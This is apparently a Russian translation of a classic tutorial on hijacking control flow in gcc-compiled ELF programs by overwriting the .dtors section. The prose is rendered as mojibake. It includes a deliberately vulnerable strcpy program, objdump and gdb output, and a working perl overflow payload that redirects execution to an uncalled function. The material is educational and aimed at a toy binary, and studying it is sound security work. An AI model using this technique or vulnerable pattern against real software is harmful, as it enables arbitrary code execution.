ÏÅÐÅÇÀÏÈÑÜ ÑÅÊÖÈÈ .DTORS
Juan M. Bello Rivas
 ýòîé ñòàòüå âêðàòöå èçëîæåíî îáúÿñíåíèå òåõíèêè ïîëó÷åíèÿ êîíòðîëÿ íàä èñïîëíåíèåì ïðîãðàììû íà ÿçûêå C, îòêîìïèëèðîâàííîé ñ ïîìîùüþ gcc. Ïîäðàçóìåâàåòñÿ, ÷òî ÷èòàòåëü çíàêîì ñ îñíîâíûìè òåõíèêàìè ïåðåïîëíåíèÿ è ôîðìàòîì ELF.

Áëàãîäàðíîñòè

ga è dvorak çà èíòåðåñíîå îáñóæäåíèå.

Âêðàòöå

gcc ïðåäîñòàâëÿåò ôóíêöèÿì ìíîæåñòâî àòðèáóòîâ, îñîáûé èíòåðåñ äëÿ íàñ ïðåäñòàâëÿþò äâà èç íèõ: constructor è destructor. Ýòè àòðèáóòû óñòàíàâëèâàþòñÿ ïðîãðàììèñòîì ñëåäóþùèì îáðàçîì:

static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));

Ôóíêöèè ñ àòðèáóòîì `constructor' èñïîëíÿþòñÿ äî ôóíêöèè main(), â òî âðåìÿ êàê îáúÿâëåííûå ñ àòðèáóòîì `destructor' èñïîëíÿþòñÿ ñðàçó _ïîñëå_ òîãî, êàê çàâåðøèòñÿ main().  èñïîëíÿåìîì ELF îáðàçå ýòî áóäåò ïðåäñòàâëåííî â âèäå äâóõ ðàçëè÷íûõ ñåêöèé: .ctors è .dtors. Îáå îíè èìåþò ñëåäóþùåå ñòðîåíèå:

0xffffffff ... 0x00000000

ÇÀÌÅ×ÀÍÈÅ: Åñëè âû äåéñòâèòåëüíî õîòèòå óçíàòü îá ýòîì âñå, ÿ ðåêîìåíäóþ âàì ïðîñìîòðåòü â âàøåì ëþáèìîì òåêñòîâîì ðåäàêòîðå ôàéë gcc-2.95.2/gcc/collect2.c
        Ñ ýòîé òî÷êè çðåíèÿ ñòîèò ïðèíÿòü â ðàñ÷åò íåñêîëüêî ìîìåíòîâ:
        * .ctors è .dtors îòîáðàæàþòñÿ â ïàìÿòü â àäðåñíîì
ïðîñòðàíñòâå ïðîöåññà è ïî óìîë÷àíèþ ìîãóò áûòü ïåðåçàïèñàíû.
        * Ýòè ñåêöèè íå èñ÷åçíóò ïîñëå îáû÷íîãî âûïîëíåíèÿ ïðîöåäóðû
strip(1) íàä áèíàðíûì ôàéëîì.
        * Íàñ íå âîëíóåò, îáúÿâèò ëè ïðîãðàììèñò êàêóþ-ëèáî ôóíêöèþ â
êà÷åñòâå constructor èëè destructor, ïîòîìó ÷òî â ëþáîì ñëó÷àå îáå ýòè
ñåêöèè áóäóò ñîçäàíû è îòîáðàçÿòñÿ â ïàìÿòü.

Êðîâîæàäíûå äåòàëè



Íàâåðíîå, ïîðà óæå ïðîäåìîíñòðèðîâàòü âûøåèçëîæåíûå
ñîîáðàæåíèÿ. Ïîåõàëè...
$ cat > yopta.c <
#include

static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));

int
main(int argc, char *argv[])
{
        printf("start == %p\n", start);
        printf("stop == %p\n", stop);

        exit(EXIT_SUCCESS);
}

void
start(void)
{
        printf("hello world!\n");
}

void
stop(void)
{
        printf("goodbye world!\n");
}

EOF
$ gcc -o yopta yopta.c
$ ./yopta
hello world!
start == 0x8048480
stop == 0x80484a0
goodbye world!
$ objdump -h yopta
                                       .
                                       .
                                       .
 14 .data         0000000c  08049558  08049558  00000558  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 15 .eh_frame     00000004  08049564  08049564  00000564  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 16 .ctors        0000000c  08049568  08049568  00000568  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 17 .dtors        0000000c  08049574  08049574  00000574  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .got          00000024  08049580  08049580  00000580  2**2
                  CONTENTS, ALLOC, LOAD, DATA
                                       .
                                       .
                                       .
$ objdump -s -j .dtors yopta

yopta:     file format elf32-i386

Contents of section .dtors:
 8049574 ffffffff a0840408 00000000           ............

        Ìû âèäèì, ÷òî àäðåñ ôóíêöèè  stop() ñîäåðæèòñÿ â .dtors, êàê è
ãîâîðèëîñü âûøå. Íàøà öåëü çäåñü - ýêñïëîèòàöèÿ ïðîãðàììû, ïîýòîìó
çàáóäåì î .ctors äî òåõ ïîð, ïîêà íå ñìîæåì ñäåëàòü ñ íåé ÷òî-íèáóäü
ïîëåçíîå.



        Òåïåðü ïîñìîòðèì íà îáû÷íóþ ïðîãðàììó áåç ýòèõ àòðèáóòîâ ôóíêöèé:
$ cat > bleh.c <
#include
#include

static void bleh(void);

int
main(int argc, char *argv[])
{
        static u_char buf[] = "bleh";

        if (argc < 2)
                exit(EXIT_FAILURE);

        strcpy(buf, argv[1]);

        exit(EXIT_SUCCESS);
}

void
bleh(void)
{
        printf("goffio!\n");
}
EOF
$ gcc -o bleh bleh.c
$ ./bleh
$ objdump -h bleh
                                       .
                                       .
                                       .
 17 .dtors        00000008  0804955c  0804955c  0000055c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
                                       .
                                       .
                                       .

        Õîðîøî! .dtors âñå åùå òàì, äàæå êîãäà íåò íè îäíîé ôóíêöèè,
ïîìå÷åíîé êàê destructor. Òåïåðü âçãëÿíåì íà åå ñîäåðæèìîå:
$ objdump -s -j .dtors bleh

bleh:     file format elf32-i386

Contents of section .dtors:
 804955c ffffffff 00000000                    ........

        Ïðèñóòñòâóþò òîëüêî ìåòêè íà÷àëà è êîíöà, íî íå óêàçàíî íè
îäíîãî àäðåñà ôóíêöèè.



        Âîçìîæíî òî, ÷òî buf îáúÿâëåíà êàê èíèöèàëèçèðîâàííàÿ static
ïåðåìåííàÿ âûãëÿäèò ñëó÷àéíîñòüþ. Ïîñòóïàÿ òàêèì îáðàçîì, ìû çàñòàâèì åå
ðàñïîëîæèòüñÿ â ñåêöèè .data, êîòîðàÿ î÷åíü áëèçêà ê íàøåé öåëè - ñåêöèè
.dtors. Òàêèì îáðàçîì, ó íàñ ïîÿâèòüñÿ âîçìîæíîñòü äîñòèãíóòü öåëè ïðîñòûì
ïåðåïîëíåíèåì buf. Ýòî íå åäèíñòâåííûé ïóòü, ñ ïîìîùüþ êîòîðîãî ìû ìîæåì
ïèñàòü â ýòî ìåñòî, ôàêòè÷åñêè ëþáîé ìåòîä, ïîçâîëÿþùèé ïèñàòü â àäðåñíîå
ïðîñòðàíñòâî ïðîöåññà áóäåò ïîëåçåí (àòàêà íà îøèáêè â ôîðìàòíîé ñòðîêå,
ïðÿìîå êîïèðîâàíèå ôóíêöèåé strcpy c âîçâðàòîì â libc, ïîð÷à êóñêà
ïàìÿòè, âûäåëåííîãî ôóíêöèåé malloc, ...) Ìåòîä, èñïîëüçóåìûé çäåñü,
âûáðàí èç-çà ñâîåé ïðîñòîòû.



        Òåïåðü íàøà öåëü âûïîëíèòü êîä, ñîäåðæàùèéñÿ â bleh() (êîòîðûé
íèêîãäà íå âûçîâåòñÿ ïðè îáû÷íûõ óñëîâèÿõ), ñîçäàíèåì çàïèñè â .dtors,
êîòîðàÿ óêàçûâàåò íà íåãî. Äëÿ ýòîãî ìû äîëæíû îñòàâèòü ìåòêó íà÷àëà è
ïåðåçàïèñàòü ìåòêó êîíöà (0x00000000).
$ objdump --syms bleh | egrep 'text.*bleh'
080484b0 l     F .text  0000001a              bleh

        Êàê ìû âèäèì, bleh() ðàñïîëàãàåòñÿ ïî àäðåñó  0x080484b0. Ïðèøëî
âðåìÿ ýêñïëîèòèòü.
$ ./bleh `perl -e 'print "A" x 24; print "\xb0\x84\x04\x08";'`
goffio!
Segmentation fault (core dumped)

        Êàê ìû è îæèäàëè, òåñò ñðàáîòàë, íî, âîçìîæíî, ëó÷øå ïðîâåðèòü
åùå ðàç è ïîñìîòðåòü íà òðóï íàøåãî ïðîöåññà, ÷òîáû óâèäåòü èçìåíåíèÿ.
$ gdb bleh core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAAœ
                                                      '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x40013ed8 in ?? ()
(gdb) bt
#0  0x40013ed8 in ?? ()
#1  0x8048521 in _fini ()
#2  0x4003c25a in exit (status=0) at exit.c:57
#3  0x80484a3 in main ()
#4  0x400339cb in __libc_start_main (main=0x8048460 , argc=2,
argv=0xbfff
f8a4, init=0x80482e0 <_init>,
    fini=0x804850c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>,
stack_end=0xbffff8
9c) at ../sysdeps/generic/libc-start.c:92
(gdb) maintenance info sections
Exec file:
    `/home/rwx/tmp/bleh', file type elf32-i386.
                                       .
                                       .
                                       .
    0x0804953c->0x08049550 at 0x0000053c: .data ALLOC LOAD DATA HAS_CONTENTS
    0x08049550->0x08049554 at 0x00000550: .eh_frame ALLOC LOAD DATA
HAS_CONTENT
S
    0x08049554->0x0804955c at 0x00000554: .ctors ALLOC LOAD DATA
HAS_CONTENTS
    0x0804955c->0x08049564 at 0x0000055c: .dtors ALLOC LOAD DATA
HAS_CONTENTS
    0x08049564->0x0804958c at 0x00000564: .got ALLOC LOAD DATA HAS_CONTENTS
                                       .
                                       .
                                       .

        Òåïåðü ìû õîòèì ïîñìîòðåòü, ÷òî áûëî ïåðåçàïèñàíî.

(gdb) x/x 0x08049550
0x8049550 :      0x41414141

Âîò ñîäåðæàíèå ñåêöèè .eh_frame (èñïîëüçóåìîé gcc äëÿ õðàíåíèÿ
óêàçàòåëåé íà îáðàáîò÷èêè exception äëÿ ïîääåðæèâàåìûõ èì ÿçûêîâ).

(gdb) x/x 0x08049554
0x8049554 <__CTOR_LIST__>:      0x41414141
(gdb) x/8x 0x0804955c
0x804955c <__DTOR_LIST__>:      0x41414141      0x080484b0      0x08049500

 0x40013ed0
0x804956c <_GLOBAL_OFFSET_TABLE_+8>:    0x4000a960      0x400fb550
0x08048
336      0x400338cc
(gdb)

        Êàê ìû âèäèì, ìû íå áåñïîêîèëèñü î òîì, ÷òîáû ïîìåñòèòü ïðèçíàê
íà÷àëà 0xffffffff â ïîäõîäÿùåå ìåñòî, è åãî íàëè÷èå áûëî ñîâñåì
íåîáÿçàòåëüíûì, ïðîñòî ïîñòàâèâ àäðåñ bleh() â íóæíóþ ïîçèöèþ, ìû
çàñòàâèëè êîä âûïîëíèòüñÿ. Ìîæíî òàêæå çàìåòèòü, ÷òî îøèáêà çàùèòû â
ïðîãðàììå ïîñëå âûïîëíåíèÿ ôóíêöèè _fini(), î÷åâèäíî, âûçâàíà ïîèñêîì
íåñóùåñòâóþùåé ìåòêè êîíöà (0x00000000) è ïåðåõîäàìè ïî êàæäîìó àäðåñó,
ñðàçó ïîñëå íàøåãî (íàéäåííûå â Global Offset Table).



Çàêëþ÷åíèå




        Áûë ïîêàçàí àëüòåðíàòèâíûé ïóòü âñòàâêè øåëë-êîäà. Ýòà òåõíèêà
èìååò íåñêîëüêî ïðåèìóùåñòâ:
        * Åñëè àòàêóþùèé ìîæåò ÷èòàòü áèíàðíûé ôàéë æåðòâû, î÷åíü ëåãêî
òî÷íî îïðåäåëèòü òî ìåñòî, êóäà ìû õîòèì çàïèñàòü óêàçàòåëü íà íàø
øåëë-êîä ïðîñòûì àíàëèçîì ELF ôàéëà, è îïðåäåëåíèå ïîçèöèè .dtors áóäåò
äîñòàòî÷íûì.  ýòîì ñëó÷àå íàäåæíîñòü ýêñïëîèòà ñèëüíî âîçðàñòàåò.
        * Îíà ïðîùå äðóãèõ, òàêèõ êàê ïåðåçàïèñü ïîëÿ â Global Offset Table.

        ... è íåäîñòàòêîâ:

        * Íåîáõîäèìî, ÷òîáû ïðîãðàììà-æåðòâà áûëî îòêîìïèëèðîâàíà
è ñëèíêîâàíà ñ ïîìîøüþ GNU óòèëèò.
        *  íåêîòîðûõ ñëó÷àÿõ áûâàåò ñëîæíî íàéòè ìåñòî, êóäà ìîæíî
ïîìåñòèòü øåëë-êîä, ïîêà ïðîãðàììà åùå íå çàâåðøèëàñü.

        Ðàçâëåêàéòåñü! :)

grange